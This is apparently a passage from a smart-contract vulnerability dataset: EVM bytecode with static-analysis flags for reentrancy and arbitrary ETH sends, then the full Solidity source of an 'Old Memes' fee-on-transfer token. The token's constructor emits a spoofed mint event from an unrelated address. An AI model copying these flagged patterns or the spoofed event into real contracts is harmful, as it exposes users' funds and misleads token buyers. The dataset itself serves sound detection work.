7265737360e01b60648201526084016106b3565b6001600160a01b0382166110365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16156110bd57600080fd5b6001600160a01b0383166111215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106b3565b6001600160a01b0382166111835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106b3565b6000811161119057600080fd5b600080546001600160a01b038581169116148015906111bd57506000546001600160a01b03848116911614155b1561136c576008546001600160a01b0385811691161480156111ed57506006546001600160a01b03848116911614155b801561121257506001600160a01b03831660009081526004602052604090205460ff16155b1561128457600f5460ff1661122657600080fd5b42600e5460b46112369190611a95565b11801561124b5750600f5462010000900460ff165b1561128057600c5482111561125f57600080fd5b600d5461126b84610892565b6112759084611a95565b111561128057600080fd5b5060015b600f54610100900460ff1615801561129e5750600f5460ff165b80156112b857506008546001600160a01b03858116911614155b1561136c5760006112c830610892565b9050801561135557600f546301000000900460ff161561134c57600b54600854606491906112fe906001600160a01b0316610892565b6113089190611aad565b6113129190611acc565b81111561134c57600b5460085460649190611335906001600160a01b0316610892565b61133f9190611aad565b6113499190611acc565b90505b61135581611405565b47801561136557611365476113cb565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113ae57506001600160a01b03841660009081526004602052604090205460ff165b156113b7575060005b6113c48585858486611579565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610745573d6000803e3d6000fd5b600f805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611449576114496119c5565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c69190611a2d565b816001815181106114d9576114d96119c5565b6001600160a01b0392831660209182029290920101526006546114ff9130911684610f73565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611538908590600090869030904290600401611aee565b600060405180830381600087803b15801561155257600080fd5b505af1158015611566573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611585838361159b565b9050611593868686846115bf565b505050505050565b60008083156115b85782156115b357506009546115b8565b50600a545b9392505050565b6000806115cc848461169c565b6001600160a01b03881660009081526002602052604090205491935091506115f59085906119ae565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611625908390611a95565b6001600160a01b038616600090815260026020526040902055611647816116d0565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161168c91815260200190565b60405180910390a3505050505050565b6000808060646116ac8587611aad565b6116b69190611acc565b905060006116c482876119ae565b96919550909350505050565b306000908152600260205260409020546116eb908290611a95565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561172b5785810183015185820160400152820161170f565b8181111561173d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461088f57600080fd5b803561177381611753565b919050565b6000806040838503121561178b57600080fd5b823561179681611753565b946020939093013593505050565b600080604083850312156117b757600080fd5b50508035926020909101359150565b6000806000606084860312156117db57600080fd5b83356117e681611753565b925060208401356117f681611753565b929592945050506040919091013590565b801515811461088f57600080fd5b60006020828403121561182757600080fd5b81356115b881611807565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561185b57600080fd5b823567ffffffffffffffff8082111561187357600080fd5b818501915085601f83011261188757600080fd5b81358181111561189957611899611832565b8060051b604051601f19603f830116810181811085821117156118be576118be611832565b6040529182528482019250838101850191888311156118dc57600080fd5b938501935b82851015611901576118f285611768565b845293850193928501926118e1565b98975050505050505050565b60006020828403121561191f57600080fd5b81356115b881611753565b6000806040838503121561193d57600080fd5b823561194881611753565b9150602083013561195881611753565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119c0576119c0611998565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119ef576119ef611998565b5060010190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b600060208284031215611a3f57600080fd5b81516115b881611753565b600080600060608486031215611a5f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a8a57600080fd5b81516115b881611807565b60008219821115611aa857611aa8611998565b500190565b6000816000190483118215151615611ac757611ac7611998565b500290565b600082611ae957634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3e5784516001600160a01b031683529383019391830191600101611b19565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b92ee09148c2989cf13842410a87772507fa2c80a3dfed528e5d3385f451872f64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,301 |
0x84c7e970c7a08352334e50631c08fc4631290343 | /**
* https://t.me/OldMemersERC
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OLDMEMES is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Old Memes";
string private constant _symbol = unicode"OLDMEMES";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0x90eAd86FCa54eE9a1FE1C55C0ACE5896f4319802), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 30;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(10)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 10;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 2000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (90 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130d9565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf7565b61054a565b6040516101a491906130be565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bb565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba8565b610579565b60405161020c91906130be565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bb565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613330565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c85565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c33565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1a565b61084a565b6040516102f191906132bb565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1a565b610913565b60405161034591906132bb565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff0565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130d9565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf7565b610b1d565b6040516103ef91906130be565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130be565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1a565b610b52565b60405161045791906132bb565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bb565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6c565b610d19565b6040516104ed91906132bb565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600981526020017f4f6c64204d656d65730000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4c9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319b565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bb565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fb565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130be565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613481565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db0565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eab565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4f4c444d454d4553000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613481565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f19565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fb565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550605a42610cdf91906133a0565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fb565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b43565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b43565b6040518363ffffffff1660e01b815260040161104892919061300b565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b43565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305d565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612cae565b505050671bc16d674ec8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613034565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5c565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fb565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321b565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8957601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f55760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329b565b60405180910390fd5b6002600981905550600a8081905550601460159054906101000a900460ff161561198b5742601554111561198a576010548111156118b257600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611936576040517f08c379a0000000000000000000000000000000000000